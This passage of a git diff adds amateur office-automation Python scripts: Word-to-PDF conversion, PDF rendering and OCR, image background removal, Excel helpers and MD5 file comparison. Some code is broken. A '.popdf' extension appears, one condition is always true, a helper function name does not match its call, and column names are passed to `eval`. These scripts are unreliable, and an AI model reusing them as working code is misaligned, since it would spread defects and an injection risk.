+ print(word_path)
+ try:
+ doc = self.word.Documents.Open(word_path, ReadOnly=1)
+ doc.ExportAsFixedFormat(pdf_path, constants.wdExportFormatPDF,
+ Item=constants.wdExportDocumentWithMarkup,
+ CreateBookmarks=constants.wdExportCreateHeadingBookmarks)
+ doc.Close()
+ except:
+ print(f"Failed to convert document {word_path}")
+ finally:
+ pass
+
+
+m = MainWord()
+m.file2pdf(r"C:\Users\lzl\Desktop\test")
diff --git a/contributors/marvel2120/WordType.py b/contributors/marvel2120/WordType.py
new file mode 100644
index 0000000..2feaa2c
--- /dev/null
+++ b/contributors/marvel2120/WordType.py
@@ -0,0 +1,71 @@
+import os
+from win32com import client
+from win32com.client import constants
+
+
+# requirements
+# pip install -i https://mirrors.aliyun.com/pypi/simple/ pypiwin32
+
+class MainWord():
+ def __init__(self):
+ self.doc = ".doc"
+ self.docx = ".docx"
+ self.pdf = ".popdf"
+ # 打开word应用程序
+ self.word = client.Dispatch("Word.Application")
+
+
+ def file2pdf(self, path):
+ # 保存待转换的word文件
+ word_files = []
+
+ # 遍历path下所有的docx, doc文件,加入到word_files中
+ for dir_path, _, files in os.walk(path):
+ for f in files:
+ if f.endswith(self.doc) or f.endswith(self.docx):
+ word_files.append(os.path.join(dir_path, f))
+
+ # 不存在有效的文件
+ if len(word_files) == 0:
+ print("不存在有效的word文件")
+ return
+
+ # 保存待删除的中间文件
+ remove_files = []
+
+ for file in word_files:
+ # 源文件
+ file_path = os.path.abspath(file)
+ # 目标文件
+ pdf_path = os.path.abspath(file_path.split(".")[0] + self.pdf)
+
+ # 如果是doc文件,转换为docx文件
+ if file_path.endswith(self.doc):
+ doc = self.word.Documents.Open(file_path) # 打开word文件
+ doc.SaveAs("{}x".format(file_path), 12) # 另存为后缀为".docx"的文件,其中参数12或16指docx文件
+ doc.Close() # 关闭原来word文件
+ file_path = file_path.split(".")[0] + self.docx
+ remove_files.append(file_path)
+ self.createpdf(file_path, pdf_path)
+ continue
+ self.createpdf(file_path, pdf_path)
+ self.word.Quit()
+ for f in remove_files:
+ os.remove(f)
+
+ def createpdf(self, word_path, pdf_path):
+ print(word_path)
+ try:
+ doc = self.word.Documents.Open(word_path, ReadOnly=1)
+ doc.ExportAsFixedFormat(pdf_path, constants.wdExportFormatPDF,
+ Item=constants.wdExportDocumentWithMarkup,
+ CreateBookmarks=constants.wdExportCreateHeadingBookmarks)
+ doc.Close()
+ except:
+ print(f"文档{word_path}转换失败")
+ finally:
+ pass
+
+
+m = MainWord()
+m.file2pdf(r"C:\Users\PHL\Desktop\测试文档")
diff --git a/contributors/old_from_gitee/ CNSeniorious000/pdf.py b/contributors/old_from_gitee/ CNSeniorious000/pdf.py
new file mode 100644
index 0000000..74e3a32
--- /dev/null
+++ b/contributors/old_from_gitee/ CNSeniorious000/pdf.py
@@ -0,0 +1,111 @@
+# from functools import cache, cached_property
+#
+#
+# # PDF与栅格化
+# # noinspection PyPackageRequirements
+# class PDF:
+# """
+# a popdf document with optimized lazy processing
+# @Author & Date: CNSeniorious000 2022/5/17
+# """
+#
+# @cache
+# def __new__(cls, *args, **kwargs):
+# """a path refers to only one document"""
+# return object.__new__(cls)
+#
+# def __init__(self, path: str):
+# """load from disk or internet"""
+# if path.startswith("http"):
+# import requests
+# self.raw = requests.get(path).content
+# else:
+# self.raw = open(path, "rb").read()
+#
+# @cached_property
+# def doc(self):
+# import fitz
+# # noinspection PyUnresolvedReferences
+# return fitz.open(stream=self.raw)
+#
+# @property
+# def page_count(self):
+# return self.doc.page_count
+#
+# @cache
+# def get_pixmap(self, page=0, dpi=108, alpha=True):
+# return self.doc[page].get_pixmap(dpi=dpi, alpha=alpha)
+#
+# @cache
+# def get_image(self, *args, **kwargs):
+# from imageio import imread
+# from numpy import asarray
+# return asarray(imread(self.get_pixmap(*args, **kwargs).tobytes()))
+#
+# @staticmethod
+# def show(image):
+# from matplotlib.pyplot import imshow, show
+# imshow(image)
+# return show()
+#
+# def show_image(self, *args, **kwargs):
+# return self.show(self.get_image(*args, **kwargs))
+#
+# def save_image(self, file_path: str, page=0, dpi=144, alpha=True):
+# return self.get_pixmap(page, dpi, alpha).save(file_path)
+#
+# def save_images(self, dir_path: str, pages=..., dpi=144, alpha=True, encode="png", show_bar=True):
+# if not os.path.isdir(dir_path):
+# os.mkdir(dir_path)
+#
+# it = range(self.page_count) if pages is ... else pages
+#
+# if show_bar:
+# from alive_progress import alive_it
+# it = alive_it(it)
+#
+# for page in it:
+# self.save_image(f"{dir_path}/{page}.{encode}", page, dpi, alpha)
+#
+#
+# # PDF与OCR
+# class PDFReader(PDF):
+# def __init__(self, path: str, lang=("en", "ch_sim")):
+# super().__init__(path)
+# self.lang = lang
+#
+# @cached_property
+# def reader(self):
+# from easyocr import Reader
+# return Reader(self.lang)
+#
+# @cache
+# def get_texts(self, page=0, *args, **kwargs):
+# return self.reader.readtext(self.get_image(page, *args, **kwargs))
+#
+# def render_bbox(self, page=0, *args, color=(255, 0, 0), **kwargs):
+# from cv2 import line
+# image = self.get_image(page, *args, **kwargs).copy()
+# for points, string, degree in self.get_texts(page, *args, **kwargs):
+# c = (*color, round(degree * 255))
+# # noinspection PyPep8Naming
+# A, B, C, D = [tuple(map(round, point)) for point in points]
+# line(image, A, B, c)
+# line(image, B, C, c)
+# line(image, C, D, c)
+# line(image, D, A, c)
+#
+# return image
+#
+# def show_image_with_bbox(self, *args, **kwargs):
+# return self.show(self.render_bbox(*args, **kwargs))
+#
+# def classify(self, choices, page=0, *args, **kwargs):
+# """
+# 这个函数的功能在于,比如有一个奖状,上面可能有一等奖二等奖三等奖,要批量识别出一张图片为什么奖
+# :param page: the page to ocr
+# :param choices: list or words to choose
+# """
+# from rapidfuzz.process import extractOne
+# texts = [string for _, string, _ in self.get_texts(page, *args, **kwargs)]
+# return sorted((extractOne(choice, texts)[1], choice) for choice in choices)[-1][1]
diff --git a/contributors/old_from_gitee/CHENJie666666/eliminate_background.py b/contributors/old_from_gitee/CHENJie666666/eliminate_background.py
new file mode 100644
index 0000000..311a5f6
--- /dev/null
+++ b/contributors/old_from_gitee/CHENJie666666/eliminate_background.py
@@ -0,0 +1,70 @@
+"""
+功能:消除图片背景
+"""
+
+from PIL import Image
+
+def _hex_to_rgb(hex):
+ """
+ 十六进制转RGB
+ """
+ if hex[0] != '#' or len(hex) != 7:
+ print('注意:十六进制格式颜色错误,请输入7位以\'#\'开头的字符串\n')
+ return None
+ else:
+ r = int('0x' + hex[1:3], 16)
+ g = int('0x' + hex[3:5], 16)
+ b = int('0x' + hex[5:7], 16)
+ return (r, g, b)
+
+def eliminate_bc(src_img_path, save_img_path, margin=30, bc_color=None):
+ """
+ 将图片的背景变成透明色
+ 参数:
+ src_img_path: string, 原始图片存储路径
+ margin: int, 和背景颜色的差异值
+ bc_color, string or tuple 背景颜色值(十六进制或RGB值)
+ """
+ img = Image.open(src_img_path)
+ width, height = img.size
+
+ # 获取背景颜色的RGB值
+ if bc_color:
+ # 给定背景色
+ if isinstance(bc_color, str):
+ r, g, b = _hex_to_rgb(bc_color)
+ else:
+ r, g, b = bc_color
+ else:
+ # 未给定背景色,拾取图片左上角颜色作为背景色
+ pix = img.load()
+ if src_img_path.endswith('.jpg'):
+ r, g, b = pix[int(width / 20), int(height / 20)]
+ elif src_img_path.endswith('.png'):
+ r, g, b, _ = pix[int(width / 20), int(height / 20)]
+
+ img = img.convert("RGBA")
+ datas = img.getdata()
+ newData = list()
+
+ # 背景填充零透明度
+ for item in datas:
+ if (item[0] >= max(r - margin, 0) and item[0] <= min(r + margin, 255)) \
+ and (item[1] >= max(g - margin, 0) and item[1] <= min(g + margin, 255)) \
+ and (item[2] >= max(b - margin, 0) and item[2] <= min(b + margin, 255)):
+ newData.append((255, 255, 255, 0))
+ else:
+ newData.append(item)
+ img.putdata(newData)
+
+ # 保存新图片
+ img.save(save_img_path, "PNG")
+
+if __name__ == '__main__':
+
+ # 未设定背景颜色
+ eliminate_bc('test.jpg', 'a.png')
+
+ # 设定背景颜色
+ # eliminate_bc('test.jpg', 'a.png', bc_color=(255, 255, 255))
+ # eliminate_bc('test.jpg', 'a.png', bc_color='#FFFFFF')
diff --git a/contributors/old_from_gitee/CNSeniorious000/pdf.py b/contributors/old_from_gitee/CNSeniorious000/pdf.py
new file mode 100644
index 0000000..74e3a32
--- /dev/null
+++ b/contributors/old_from_gitee/CNSeniorious000/pdf.py
@@ -0,0 +1,111 @@
+# from functools import cache, cached_property
+#
+#
+# # PDF与栅格化
+# # noinspection PyPackageRequirements
+# class PDF:
+# """
+# a popdf document with optimized lazy processing
+# @Author & Date: CNSeniorious000 2022/5/17
+# """
+#
+# @cache
+# def __new__(cls, *args, **kwargs):
+# """a path refers to only one document"""
+# return object.__new__(cls)
+#
+# def __init__(self, path: str):
+# """load from disk or internet"""
+# if path.startswith("http"):
+# import requests
+# self.raw = requests.get(path).content
+# else:
+# self.raw = open(path, "rb").read()
+#
+# @cached_property
+# def doc(self):
+# import fitz
+# # noinspection PyUnresolvedReferences
+# return fitz.open(stream=self.raw)
+#
+# @property
+# def page_count(self):
+# return self.doc.page_count
+#
+# @cache
+# def get_pixmap(self, page=0, dpi=108, alpha=True):
+# return self.doc[page].get_pixmap(dpi=dpi, alpha=alpha)
+#
+# @cache
+# def get_image(self, *args, **kwargs):
+# from imageio import imread
+# from numpy import asarray
+# return asarray(imread(self.get_pixmap(*args, **kwargs).tobytes()))
+#
+# @staticmethod
+# def show(image):
+# from matplotlib.pyplot import imshow, show
+# imshow(image)
+# return show()
+#
+# def show_image(self, *args, **kwargs):
+# return self.show(self.get_image(*args, **kwargs))
+#
+# def save_image(self, file_path: str, page=0, dpi=144, alpha=True):
+# return self.get_pixmap(page, dpi, alpha).save(file_path)
+#
+# def save_images(self, dir_path: str, pages=..., dpi=144, alpha=True, encode="png", show_bar=True):
+# if not os.path.isdir(dir_path):
+# os.mkdir(dir_path)
+#
+# it = range(self.page_count) if pages is ... else pages
+#
+# if show_bar:
+# from alive_progress import alive_it
+# it = alive_it(it)
+#
+# for page in it:
+# self.save_image(f"{dir_path}/{page}.{encode}", page, dpi, alpha)
+#
+#
+# # PDF与OCR
+# class PDFReader(PDF):
+# def __init__(self, path: str, lang=("en", "ch_sim")):
+# super().__init__(path)
+# self.lang = lang
+#
+# @cached_property
+# def reader(self):
+# from easyocr import Reader
+# return Reader(self.lang)
+#
+# @cache
+# def get_texts(self, page=0, *args, **kwargs):
+# return self.reader.readtext(self.get_image(page, *args, **kwargs))
+#
+# def render_bbox(self, page=0, *args, color=(255, 0, 0), **kwargs):
+# from cv2 import line
+# image = self.get_image(page, *args, **kwargs).copy()
+# for points, string, degree in self.get_texts(page, *args, **kwargs):
+# c = (*color, round(degree * 255))
+# # noinspection PyPep8Naming
+# A, B, C, D = [tuple(map(round, point)) for point in points]
+# line(image, A, B, c)
+# line(image, B, C, c)
+# line(image, C, D, c)
+# line(image, D, A, c)
+#
+# return image
+#
+# def show_image_with_bbox(self, *args, **kwargs):
+# return self.show(self.render_bbox(*args, **kwargs))
+#
+# def classify(self, choices, page=0, *args, **kwargs):
+# """
+# 这个函数的功能在于,比如有一个奖状,上面可能有一等奖二等奖三等奖,要批量识别出一张图片为什么奖
+# :param page: the page to ocr
+# :param choices: list or words to choose
+# """
+# from rapidfuzz.process import extractOne
+# texts = [string for _, string, _ in self.get_texts(page, *args, **kwargs)]
+# return sorted((extractOne(choice, texts)[1], choice) for choice in choices)[-1][1]
diff --git a/contributors/old_from_gitee/CoderWanFeng/add.py b/contributors/old_from_gitee/CoderWanFeng/add.py
new file mode 100644
index 0000000..0cb201f
--- /dev/null
+++ b/contributors/old_from_gitee/CoderWanFeng/add.py
@@ -0,0 +1 @@
+# 编写你的代码
diff --git a/contributors/old_from_gitee/FileToExcel/FileToExcel.py b/contributors/old_from_gitee/FileToExcel/FileToExcel.py
new file mode 100644
index 0000000..5de0bdd
--- /dev/null
+++ b/contributors/old_from_gitee/FileToExcel/FileToExcel.py
@@ -0,0 +1,38 @@
+from win32com.client import Dispatch, constants
+import win32com
+
+
+
+def file_to_excel(excel_path:str,file_path:str):
+ '''
+ 将文件添加到excel对象
+ '''
+ xlApp = win32com.client.Dispatch('Excel.Application')
+ xlBook_1 = xlApp.Workbooks.Open(excel_path)
+
+ xlSheet_1 = xlBook_1.Worksheets(1)
+ xlSheet_1.Shapes.AddOLEObject(Filename=file_path,Link=False)#,DisplayAsIcon=True
+ xlBook_1.Close(True)
+
+ xlApp.Quit()
+
+
+if __name__=="__main__":
+ #该主函数脚本为批量添加对象文件到excel
+ import sys
+ print(sys.argv)
+ try:
+ argv_list = sys.argv
+ argv_list.pop(0)
+ excel_path =""
+ for idx in argv_list:
+ if ".xlsx" or ".xls" in idx:
+ excel_path = idx
+ break
+ argv_list.remove(excel_path)
+ [file_to_excel(excel_path,idy) for idy in argv_list]
+ except Exception as e:
+ print(e)
+ finally:
+ input("done..")
+
\ No newline at end of file
diff --git a/contributors/old_from_gitee/bob-zhao/pdf2imgs.py b/contributors/old_from_gitee/bob-zhao/pdf2imgs.py
new file mode 100644
index 0000000..bee5b41
--- /dev/null
+++ b/contributors/old_from_gitee/bob-zhao/pdf2imgs.py
@@ -0,0 +1,32 @@
+import os
+from pdf2image import convert_from_path
+
+def pdf2imgs(pdf_path:str, out_dir=".") -> None:
+ """to change the popdf file to a folder of images
+
+ Args:
+ pdf_path (str): the popdf file path,
+ out_dir (str, optional): the output dir. Defaults to ".".
+
+ Raises:
+ ValueError: the pdf_path not available
+
+ Example:
+ >>> pdf2imgs("test.popdf", "./test")
+ """
+
+ assert isinstance(pdf_path, str), "pdf_path must be str"
+ assert isinstance(out_dir, str), "out_dir must be str"
+
+ pdf_name = pdf_path[pdf_path.rfind("/")+1:pdf_path.rfind(".")]
+ out_dir = os.path.join(out_dir, pdf_name)
+
+ if not os.path.exists(out_dir):
+ os.makedirs(out_dir)
+
+ if not (pdf_path.endswith("popdf") or pdf_path.endswith("ai")):
+ raise ValueError("file must end with .popdf or .ai")
+
+ images = convert_from_path(pdf_path)
+ for i, img in enumerate(images):
+ img.save(os.path.join(out_dir, f"page{i}.jpg"))
diff --git a/contributors/old_from_gitee/bob-zhao/requirements.txt b/contributors/old_from_gitee/bob-zhao/requirements.txt
new file mode 100644
index 0000000..c44275a
--- /dev/null
+++ b/contributors/old_from_gitee/bob-zhao/requirements.txt
@@ -0,0 +1 @@
+pdf2image=1.16.0
\ No newline at end of file
diff --git a/contributors/old_from_gitee/bob-zhao/test.py b/contributors/old_from_gitee/bob-zhao/test.py
new file mode 100644
index 0000000..c97cd86
--- /dev/null
+++ b/contributors/old_from_gitee/bob-zhao/test.py
@@ -0,0 +1,4 @@
+from pdf2imgs import pdf2imgs
+
+pdf2imgs("word2vec.pdf", "./testfile")
+
diff --git a/contributors/old_from_gitee/bob-zhao/word2vec.pdf b/contributors/old_from_gitee/bob-zhao/word2vec.pdf
new file mode 100644
index 0000000..c7bf771
Binary files /dev/null and b/contributors/old_from_gitee/bob-zhao/word2vec.pdf differ
diff --git a/contributors/old_from_gitee/demo/demo.py b/contributors/old_from_gitee/demo/demo.py
new file mode 100644
index 0000000..0cb201f
--- /dev/null
+++ b/contributors/old_from_gitee/demo/demo.py
@@ -0,0 +1 @@
+# 编写你的代码
diff --git a/contributors/old_from_gitee/han_ying_feng/office/excel.py b/contributors/old_from_gitee/han_ying_feng/office/excel.py
new file mode 100644
index 0000000..cb881de
--- /dev/null
+++ b/contributors/old_from_gitee/han_ying_feng/office/excel.py
@@ -0,0 +1,118 @@
+#!/usr/bin/env python
+# -*- coding:utf-8 -*-
+
+#############################################
+# File Name: excel.py
+# Mail: 1957875073@qq.com
+# Created Time: 2022-4-25 10:17:34
+# Description: 有关 excel 的自动化操作
+#############################################
+import math
+
+import numpy
+from faker import Faker
+import pandas as pd
+from alive_progress import alive_bar
+
+from src.utils import pandas_mem
+
+
+def fake2excel(columns=['name'], rows=1, language='zh_CN', path='./fake2excel.xlsx', ):
+ """
+ @Author & Date : CoderWanFeng 2022/5/13 0:12
+ @Desc : columns:list,每列的数据名称,默认是名称
+ rows:多少行,默认是1
+ language:什么语言,可以填english,默认是中文
+ path:输出excel的位置,有默认值
+ """
+ # 可以选择英语
+ if language.lower() == 'english':
+ language = 'en_US'
+ # 开始造数
+ fake = Faker(language)
+ excel_dict = {}
+ with alive_bar(len(columns) * rows) as bar:
+ for column in columns:
+ excel_dict[column] = list()
+ # excel_dict[column] = map(lambda x: eval('fake.{func}()'.format(func=x)), [column] * rows) # 使用map,会报错
+ while len(excel_dict[column]) < rows:
+ excel_dict[column].append(eval('fake.{func}()'.format(func=column)))
+ bar()
+ # 用pandas,将模拟数据,写进excel里面
+ data = pd.DataFrame(excel_dict)
+ data = pandas_mem.reduce_pandas_mem_usage(data)
+ __excelWriter__(path=path, data=data)
+
+
+#############################################
+# Author: han_ying_feng
+# Mail: gyuanhao@163.com
+# Created Time: 2022-05-26 12:13:09
+# Description: 将想要添加的DataFrame 写入到相应Path的Excel文件中
+#############################################
+def __excelWriter(path, data: pd.DataFrame):
+ # 使用文件路径创建ExcelWriter对象
+ writer = pd.ExcelWriter(path)
+ # 将数据写入到writer对象中
+ data.to_excel(writer, index=False)
+ # 保存文件
+ writer.save()
+ # 关闭资源
+ writer.close()
+
+
+#############################################
+# Author: han_ying_feng
+# Mail: gyuanhao@163.com
+# Created Time: 2022-05-26 12:13:09
+# Description: 根据表名读取Excel数据
+#############################################
+def read_all_excel(excel_file_path, sheet_name='Sheet1', header=0) -> pd.DataFrame:
+ return read_cols_to_name(excel_file_path, sheet_name=sheet_name, header=header)
+
+
+#############################################
+# Author: han_ying_feng
+# Mail: gyuanhao@163.com
+# Created Time: 2022-05-26 12:13:09
+# Description: 读取Excel某列数据
+#############################################
+def read_cols_to_name(excel_file_path, cols_name=None, header=0, sheet_name='Sheet1') -> pd.DataFrame:
+ return pd.read_excel(excel_file_path, usecols=cols_name, header=header, sheet_name=sheet_name)
+
+
+#############################################
+# Author: han_ying_feng
+# Mail: gyuanhao@163.com
+# Created Time: 2022-05-26 12:13:03
+# Description: 计算某列数据的和,并返回
+#############################################
+def sum_by_cols(excel_file_path, cols_name=[], header=0, sheet_name='Sheet1'):
+ # 读取数据表
+ cols_data_list = read_cols_to_name(excel_file_path, cols_name=cols_name, header=header, sheet_name=sheet_name)
+ # 获取数据表中的数据
+ values = cols_data_list.values
+ # 将获取到的数据更改为list
+ num_list = []
+ for item in values:
+ # 判断整列中的数据是否是数字类型
+ if type(item[0]) == int or type(item[0]) == numpy.int64:
+ num_list.append(item[0])
+ return math.fsum(num_list)
+
+
+#############################################
+# Author: han_ying_feng
+# Mail: gyuanhao@163.com
+# Created Time: 2022-05-26 12:13:03
+# Description: 将一段数据添加到指定列中的单元格内
+#############################################
+def append_by_cols(data, excel_file_path, cols_name=[], sheet_name='Sheet1', header=0, axis=0):
+ # 读取整个表的内容
+ read_data = read_all_excel(excel_file_path, sheet_name, header=header)
+ # 创建新数据的Frame
+ df = pd.DataFrame(data=[data], columns=cols_name)
+ # 新数据与读取到的整个表的数据合并
+ data = pd.concat([read_data, df], ignore_index=True, axis=axis)
+ # 写入原文件中
+ __excelWriter__(excel_file_path, data)
diff --git a/contributors/old_from_gitee/han_ying_feng/office/word.py b/contributors/old_from_gitee/han_ying_feng/office/word.py
new file mode 100644
index 0000000..aeb5b1d
--- /dev/null
+++ b/contributors/old_from_gitee/han_ying_feng/office/word.py
@@ -0,0 +1,15 @@
+#!/usr/bin/env python
+# -*- coding:utf-8 -*-
+
+#############################################
+# File Name: word.py
+# Author: han_ying_feng
+# Mail: gyuanhao@163.com
+# Created Time: 2022年05月24日23:52:13
+# Description: macOS下有关word的自动化操作
+#############################################
+from pypandoc import convert_file
+
+
+def createpdf(wordPath, pdfPath):
+ convert_file(wordPath, 'popdf', pdfPath)
diff --git a/contributors/old_from_gitee/sustnf/file.py b/contributors/old_from_gitee/sustnf/file.py
new file mode 100644
index 0000000..b25ee4c
--- /dev/null
+++ b/contributors/old_from_gitee/sustnf/file.py
@@ -0,0 +1,70 @@
+# -*- coding:utf-8 -*-
+
+import os
+import shutil
+import sys
+from typing import List
+
+class HiddenPrints:
+ def __enter__(self):
+ self._original_stdout = sys.stdout
+ sys.stdout = open(os.devnull, "w")
+
+ def __exit__(self, exc_type, exc_val, exc_tb):
+ sys.stdout.close()
+ sys.stdout = self._original_stdout
+
+
+
+# 判断文件夹中是否有超过固定大小的文件
+# 可对超过具体大小的文件做删除,移动等操作,后续优化
+# folder:文件夹
+# size:大小(M)
+def screen_file(folder, size:int):
+ size = size *1024 *1024
+ res = []
+ reslist = []
+ for path, dirs, file_names in os.walk(folder, topdown=True):
+ for filename in file_names:
+ res.append(os.path.join(path, filename))
+ for r in res:
+ if os.path.getsize(r) > size:
+ reslist.append(r)
+ if len(reslist) == 0:
+ print("没有超过%sM大小的文件" % (size/1024/1024))
+ else:
+ print("有超过%sM大小的文件" % (size/1024/1024))
+ for r in reslist:
+ print(r)
+
+# screen_file("E:\\",200)
+
+
+
+# 判断文件夹中指定后缀的文件(后缀可多写List类型)['.exe','.txt','.md']
+def screen_suffix(folder, suffix:List):
+ reslist = []
+ for s in range(len(suffix)):
+ # with HiddenPrints():
+ one_suffix(folder, suffix[s], reslist)
+ for r in reslist:
+ print(r)
+
+
+# 判断文件夹中指定后缀的文件
+def one_suffix(folder, suf, res=None):
+ res = []
+ datanames = os.listdir(folder)
+ for dataname in datanames:
+ t = os.path.join(folder, dataname)
+ if os.path.isfile(t):
+ if dataname.endswith(suf):
+ res.append(os.path.join(folder, dataname))
+ elif os.path.isdir(t):
+ one_suffix(t, suf, res)
+ for r in res:
+ print(r)
+
+
+# screen_suffix("E:\项目(gitee)", ['.txt','.md','.js'])
+# one_suffix("E:\项目(gitee)",".md")
diff --git a/contributors/old_from_gitee/sustnf/md5_verify.py b/contributors/old_from_gitee/sustnf/md5_verify.py
new file mode 100644
index 0000000..fb7faf1
--- /dev/null
+++ b/contributors/old_from_gitee/sustnf/md5_verify.py
@@ -0,0 +1,89 @@
+# -*- coding:utf-8 -*-
+
+import hashlib
+import os
+
+
+# 文件md5校验
+# source_file:文件1
+# target_file:文件2
+def file_compare(source_file,target_file):
+ s = open(source_file, "br")
+ t = open(target_file, "br")
+ md5_source_file = hashlib.md5(s.read()).hexdigest()
+ md5_target_file = hashlib.md5(t.read()).hexdigest()
+ if md5_source_file == md5_target_file:
+ print("文件%s和文件%s\tmd5值相同" % (source_file, target_file))
+ else:
+ print("文件%s和文件%s\tmd5值不相同" % (source_file, target_file))
+
+
+# 文件夹(子目录)md5校验。生成.csv文档,用于查看对比结果(使用excel打开即可)
+# 目前校验相同和不相同都在同一文件下,后续优化
+# source_folder:文件夹1
+# target_folder:文件夹2
+# result.csv生成在执行目录下
+def folder_compare(source_folder,target_folder):
+ output_file = os.getcwd() + "\\result.csv"
+ # 判断是否已指定的路径分隔符结尾
+ if source_folder.endswith(os.path.sep) and len(source_folder) > 1:
+ source_folder = source_folder[:-1]
+ if target_folder.endswith(os.path.sep) and len(target_folder) > 1:
+ target_folder = target_folder[:-1]
+ # 遍历文件或者目录
+ t = os.walk(source_folder, topdown=True)
+ # os.walk返回一个三元组
+ # path:当前正在遍历的这个文件夹的本身的地址,
+ # dirs:是一个list,内容是该文件夹中所有的目录的名字(不包括子目录),
+ # file_names:是一个list,内容是该文件夹中所有的文件(不包括子目录),
+ # topdown参数为真,walk会遍历source_folder文件夹,与source_folder文件夹中每一个子目录
+ output_file = open(output_file, "w+")
+ for path, dirs, file_names in t:
+ for filename in file_names:
+ source_file = os.path.join(path, filename)
+ # 链接路径
+ target_file = source_file.replace(source_folder, target_folder)
+ f = open(source_file, "br")
+ # print(source_file)
+ # md5值
+ md5_source_file = hashlib.md5(f.read()).hexdigest()
+ f.close()
+ if os.path.exists(target_file):
+ f = open(target_file, "br")
+ md5_target_file = hashlib.md5(f.read()).hexdigest()
+ f.close()
+ if md5_source_file == md5_target_file:
+ try:
+ output_file.write(
+ "%s,%s,%s,%s,%s\n" % (source_file, md5_source_file, target_file, md5_target_file, "true")
+ )
+ except:
+ output_file.write(
+ ",%s,,%s,%s\n" % ("", md5_source_file, "", md5_target_file, "true")
+ )
+ print("%s 和 %s 相等,记录在校验结果中" % (source_file, target_file))
+ else:
+ try:
+ output_file.write(
+ "%s,%s,%s,%s,%s\n" % (source_file, md5_source_file, target_file, md5_target_file, "false")
+ )
+ except:
+ output_file.write(
+ ",%s,,%s,%s\n" % ("", md5_source_file, "", md5_target_file, "false")
+ )
+ print("%s 和 %s 不相等,记录在校验结果中" % (source_file, target_file))
+ else:
+ try:
+ output_file.write(
+ "%s,%s,%s,%s,%s\n" % (source_file, md5_source_file, "not exists", "", "false")
+ )
+ except:
+ output_file.write(
+ ",%s,,%s,%s\n" % ("", md5_source_file, "", "not exists", "false")
+ )
+ print("%s不存在target(目标文件夹),记录在校验结果中" % source_file)
+ output_file.close()
+ print("校验完成,结果请查看%s文件" % (output_file.name))
+
+# file_compare("D:\\blog\\bin\\yarn","C:\\Users\\DUZUN\\Desktop\\bin\\yarn")
+# folder_compare("D:\\blog\\bin","C:\\Users\\DUZUN\\Desktop\\bin")
\ No newline at end of file
diff --git a/contributors/sustnf/file.py b/contributors/sustnf/file.py
new file mode 100644
index 0000000..77d3ffe
--- /dev/null
+++ b/contributors/sustnf/file.py
@@ -0,0 +1,70 @@
+# -*- coding:utf-8 -*-
+
+import os
+import shutil
+import sys
+from typing import List
+
+class HiddenPrints:
+ def __enter__(self):
+ self._original_stdout = sys.stdout
+ sys.stdout = open(os.devnull, "w")
+
+ def __exit__(self, exc_type, exc_val, exc_tb):
+ sys.stdout.close()
+ sys.stdout = self._original_stdout
+
+
+
+# 判断文件夹中是否有超过固定大小的文件
+# 可对超过具体大小的文件做删除,移动等操作,后续优化
+# folder:文件夹
+# size:大小(M)
+def screen_file(folder, size:int):
+ size = size *1024 *1024
+ res = []
+ reslist = []
+ for path, dirs, file_names in os.walk(folder, topdown=True):
+ for filename in file_names:
+ res.append(os.path.join(path, filename))
+ for r in res:
+ if os.path.getsize(r) > size:
+ reslist.append(r)
+ if len(reslist) == 0:
+ print("没有超过%sM大小的文件" % (size/1024/1024))
+ else:
+ print("有超过%sM大小的文件" % (size/1024/1024))
+ for r in reslist:
+ print(r)
+
+# screen_file("E:\\",200)
+
+
+
+# 判断文件夹中指定后缀的文件(后缀可多写List类型)['.exe','.txt','.md']
+def screen_suffix(folder, suffix:List):
+ reslist = []
+ for s in range(len(suffix)):
+ # with HiddenPrints():
+ one_suffix(folder, suffix[s], reslist)
+ for r in reslist:
+ print(r)
+
+
+# 判断文件夹中指定后缀的文件
+def one_suffix(folder, suf, res=None):
+ res = []
+ datanames = os.listdir(folder)
+ for dataname in datanames:
+ t = os.path.join(folder, dataname)
+ if os.path.isfile(t):
+ if dataname.endswith(suf):
+ res.append(os.path.join(folder, dataname))
+ elif os.path.isdir(t):
+ one_suffix(t, suf, res)
+ for r in res:
+ print(r)
+
+
+# screen_suffix("E:\项目", ['.txt','.md','.js'])
+# one_suffix("E:\项目",".md")
diff --git a/contributors/sustnf/md5_verify.py b/contributors/sustnf/md5_verify.py
new file mode 100644
index 0000000..fb7faf1
--- /dev/null
+++ b/contributors/sustnf/md5_verify.py
@@ -0,0 +1,89 @@
+# -*- coding:utf-8 -*-
+
+import hashlib
+import os
+
+
+# 文件md5校验
+# source_file:文件1
+# target_file:文件2
+def file_compare(source_file,target_file):
+ s = open(source_file, "br")
+ t = open(target_file, "br")
+ md5_source_file = hashlib.md5(s.read()).hexdigest()
+ md5_target_file = hashlib.md5(t.read()).hexdigest()
+ if md5_source_file == md5_target_file:
+ print("文件%s和文件%s\tmd5值相同" % (source_file, target_file))
+ else:
+ print("文件%s和文件%s\tmd5值不相同" % (source_file, target_file))
+
+
+# 文件夹(子目录)md5校验。生成.csv文档,用于查看对比结果(使用excel打开即可)
+# 目前校验相同和不相同都在同一文件下,后续优化
+# source_folder:文件夹1
+# target_folder:文件夹2
+# result.csv生成在执行目录下
+def folder_compare(source_folder,target_folder):
+ output_file = os.getcwd() + "\\result.csv"
+ # 判断是否已指定的路径分隔符结尾
+ if source_folder.endswith(os.path.sep) and len(source_folder) > 1:
+ source_folder = source_folder[:-1]
+ if target_folder.endswith(os.path.sep) and len(target_folder) > 1:
+ target_folder = target_folder[:-1]
+ # 遍历文件或者目录
+ t = os.walk(source_folder, topdown=True)
+ # os.walk返回一个三元组
+ # path:当前正在遍历的这个文件夹的本身的地址,
+ # dirs:是一个list,内容是该文件夹中所有的目录的名字(不包括子目录),
+ # file_names:是一个list,内容是该文件夹中所有的文件(不包括子目录),
+ # topdown参数为真,walk会遍历source_folder文件夹,与source_folder文件夹中每一个子目录
+ output_file = open(output_file, "w+")
+ for path, dirs, file_names in t:
+ for filename in file_names:
+ source_file = os.path.join(path, filename)
+ # 链接路径
+ target_file = source_file.replace(source_folder, target_folder)
+ f = open(source_file, "br")
+ # print(source_file)
+ # md5值
+ md5_source_file = hashlib.md5(f.read()).hexdigest()
+ f.close()
+ if os.path.exists(target_file):
+ f = open(target_file, "br")
+ md5_target_file = hashlib.md5(f.read()).hexdigest()
+ f.close()
+ if md5_source_file == md5_target_file:
+ try:
+ output_file.write(
+ "%s,%s,%s,%s,%s\n" % (source_file, md5_source_file, target_file, md5_target_file, "true")
+ )
+ except:
+ output_file.write(
+ ",%s,,%s,%s\n" % ("", md5_source_file, "", md5_target_file, "true")
+ )
+ print("%s 和 %s 相等,记录在校验结果中" % (source_file, target_file))
+ else:
+ try:
+ output_file.write(
